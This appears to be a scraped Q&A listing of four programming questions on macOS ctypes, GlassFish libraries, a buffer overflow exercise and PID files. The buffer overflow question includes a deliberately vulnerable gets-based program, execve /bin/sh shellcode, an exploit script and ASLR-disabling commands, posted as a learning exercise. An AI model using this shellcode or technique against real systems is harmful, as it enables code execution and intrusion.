  I'm trying to determine the current working directory of a process given its PID. The command-line utility lsof does something similar. Here's the source to the python script: import ctypes from ctypes import util import sys PROC_PIDVNODEPATHINFO = 9 proc = ctypes.cdll.LoadLibrary(util.find_library("libproc")) print(proc.proc_pidinfo) class vnode_info(ctypes.Structure): _fields_ = [('data', ctypes.c_ubyte * 152)] class vnode_info_path(ctypes.Structure): _fields_ = [('vip_vi', vnode_info), ('vip_path', ctypes.c_char * 1024)] class proc_vnodepathinfo(ctypes.Structure): _fields_ = [('pvi_cdir', vnode_info_path), ('pvi_rdir', vnode_info_path)] inst = proc_vnodepathinfo() pid = int(sys.argv[1]) ret = proc.proc_pidinfo( pid, PROC_PIDVNODEPATHINFO, 0, ctypes.byref(inst), ctypes.sizeof(inst) ) print(ret, inst.pvi_cdir.vip_path) However, even though this script behaves as expected on Python 2.6, it does not work in Python 2.5: host:dir user$ sudo /usr/bin/python2.6 script.py 2698 <_FuncPtr object at 0x100419ae0> (2352, '/') host:dir user$ sudo /usr/bin/python2.5 script.py 2698 <_FuncPtr object at 0x19fdc0> (0, '') (PID 2698 is "Activity Monitor.app"). Note the different return values. Since this program strongly based on ctypes, I can't imagine any difference in Python itself that would cause this. The same behavior (as Python 2.5) occurs with my self-built Python 3.2. I'm not sure what versioning information I can give to help track down the weirdness -- or even come up with a solution for 2.5 -- but here's some stuff: host:dir user$ otool -L /usr/bin/python2.6 /usr/bin/python2.6: /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 125.2.0) host:dir user$ otool -L /usr/bin/python2.5 /usr/bin/python2.5 (architecture i386): /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 125.2.0) /usr/bin/python2.5 (architecture ppc7400): /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 125.2.0) host:dir user$ uname -a Darwin host.local 10.8.0 Darwin Kernel Version 10.8.0: Tue Jun 7 16:33:36 PDT 2011; root:xnu-1504.15.3~1/RELEASE_I386 i386 Thanks to anyone that has a clue about what's going on here:)

  Read the article

• How to use 3rd party libraries in glassfish?

  - by Hank

  I need to connect to a MongoDB instance from my EJB3 application, running on glassfish 3.0.1. The Mongo project provides a set of drivers, and I'm able to use them in a standalone Java application. How would I use them in a JEE application? Or maybe better phrasing: how would I make a 3rd party library available to my application when it runs in an EJB container? At the moment, I'm getting a java.lang.NoClassDefFoundError when deploying a bean that tries to import from the library: [#|2010-03-24T11:42:15.164+0100|SEVERE|glassfishv3.0|global|_ThreadID=28;_ThreadName=Thread-1;|Class [ com/mongodb/DBObject ] not found. Error while loading [ class mvs.core.LocationCacheService ]|#] [#|2010-03-24T11:42:15.164+0100|WARNING|glassfishv3.0|javax.enterprise.system.tools.deployment.org.glassfish.deployment.common|_ThreadID=28;_ThreadName=Thread-1;|Error in annotation processing: java.lang.NoClassDefFoundError: com/mongodb/DBObject|#] [#|2010-03-24T11:42:15.259+0100|SEVERE|glassfishv3.0|javax.enterprise.system.core.com.sun.enterprise.v3.server|_ThreadID=28;_ThreadName=Thread-1;|Exception while loading the app org.glassfish.deployment.common.DeploymentException: java.lang.NoClassDefFoundError: com/mongodb/DBObject at org.glassfish.weld.WeldDeployer.event(WeldDeployer.java:171) at org.glassfish.kernel.event.EventsImpl.send(EventsImpl.java:125) at org.glassfish.internal.data.ApplicationInfo.load(ApplicationInfo.java:224) at com.sun.enterprise.v3.server.ApplicationLifecycle.deploy(ApplicationLifecycle.java:338) I tried adding it to the NetBeans project (Properties - Libraries - Compile - Add Jar, enable 'Package'), and I also tried manually copying the jar file to $GF_HOME/glassfish/domains/domain1/lib (where the mysql-connector already resides). Do I need to 'register' the library with the container? Reference it via Annotation? Extend the classpath of the container to include the library?

  Read the article

• Shellcode for a simple stack overflow doesn't start a shell

  - by henning

  Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. Seems like the execve syscall fails. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328

  Read the article

• Reference for proper handling of PID file on Unix

  - by bignose

  Where can I find a well-respected reference that details the proper handling of PID files on Unix? On Unix operating systems, it is common practice to “lock” a program (often a daemon) by use of a special lock file: the PID file. This is a file in a predictable location, often ‘/var/run/foo.pid’. The program is supposed to check when it starts up whether the PID file exists and, if the file does exist, exit with an error. So it's a kind of advisory, collaborative locking mechanism. The file contains a single line of text, being the numeric process ID (hence the name “PID file”) of the process that currently holds the lock; this allows an easy way to automate sending a signal to the process that holds the lock. What I can't find is a good reference on expected or “best practice” behaviour for handling PID files. There are various nuances: how to actually lock the file (don't bother? use the kernel? what about platform incompatibilities?), handling stale locks (silently delete them? when to check?), when exactly to acquire and release the lock, and so forth. Where can I find a respected, most-authoritative reference (ideally on the level of W. Richard Stevens) for this small topic?

  Read the article

< Previous Page | 159 160 161 162 163 164 165 166 167 168 169 170  | Next Page >